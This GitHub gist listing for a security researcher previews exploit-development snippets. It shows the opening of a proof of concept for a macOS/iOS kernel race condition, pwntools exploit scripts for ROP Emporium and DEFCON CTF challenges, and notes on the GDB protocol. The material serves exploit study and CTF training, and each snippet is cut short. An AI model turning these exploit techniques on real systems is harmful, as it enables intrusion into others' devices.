Skip to content

Instantly share code, notes, and snippets.

@zachriggle
zachriggle / poc.c
Created September 16, 2021 10:35 — forked from UESTC-LXY/poc.c
macOS 11.5.2/iOS 14.7.1 Kernel Race Condition poc
/*
Written By Pan ZhenPeng(@peterpan980927) of Alibaba Security Pandora Lab
use it on macOS: cc poc.c -o poc while True; do ./poc ; done
*/
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
@zachriggle
zachriggle / Makefile
Last active February 2, 2021 12:26
Makefile polyglot
#if 0
.PHONY: run
run: a.out
@./a.out
a.out: $(MAKEFILE_LIST)
@gcc -xc $(MAKEFILE_LIST)
ifeq (0, 1)
#endif
@zachriggle
zachriggle / gdb.md
Last active October 25, 2017 01:53
I fucking hate you, GDB

Lots of commands in GDB's protocol use hex-encoded data. A $ starts a packet, and all packets end with # followed by a one-byte, hex-encoded checksum.

Let's look at the protocol for the request:

remote get /proc/self/cmdline ./cmdline

Which should fetch /proc/self/cmdline and dump it to ./cmdline. It does!

$ phd cmdline
@zachriggle
zachriggle / win.py
Created September 25, 2017 23:03
Exploit for ROP Emporium's "split"
from pwn import *
# Set up pwntools to work with this binary
elf = context.binary = ELF('split')
# We need to invoke system("cat flag"), which requires knowing the
# location of both the function 'system' as well as the string 'cat flag'.
system = elf.symbols.system
cat_flag = elf.search("cat flag").next()
@zachriggle
zachriggle / win.py
Created September 1, 2017 20:35
Example Exploit for ROP Emporium's ret2win Challenge Raw
from pwn import *
# Set up pwntools to work with this binary
elf = context.binary = ELF('ret2win')
# Enable verbose logging so we can see exactly what is being sent.
context.log_level = 'debug'
# Print out the target address
info("%#x target", elf.symbols.ret2win)

Keybase proof

I hereby claim:

  • I am zachriggle on github.
  • I am zachriggle (https://keybase.io/zachriggle) on keybase.
  • I have a public key ASBYNpGGwzmRUnRb5-fg2Qy7jdirdXG-ECeIbGP_Lv72oQo

To claim this, I am signing this object:

from pwn import *
# Here's the disassembly for everything
"""
0804844b <vulnerable_function>:
804844b: 55 push ebp
804844c: 89 e5 mov ebp,esp
804844e: 81 ec 88 00 00 00 sub esp,0x88
8048454: 83 ec 04 sub esp,0x4
8048457: 68 00 01 00 00 push 0x100
from pwn import *
# Here's the disassembly for everything
"""
0804844b <vulnerable_function>:
804844b: 55 push ebp
804844c: 89 e5 mov ebp,esp
804844e: 81 ec 88 00 00 00 sub esp,0x88
8048454: 83 ec 04 sub esp,0x4
8048457: 68 00 01 00 00 push 0x100
@zachriggle
zachriggle / README.md
Last active May 25, 2016 07:20
DEFCON CTF Qualifiers 2016 -- heapfun4u Exploit

DEFCON CTF Qualifiers 2016 -- heapfun4u Exploit Write-Up

The write-up is the exploit.

Example Output

[*] './heapfun4u'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO

DEFCON Quals 2016 Pwnable -- GladOS

The write-up is basically the exploit.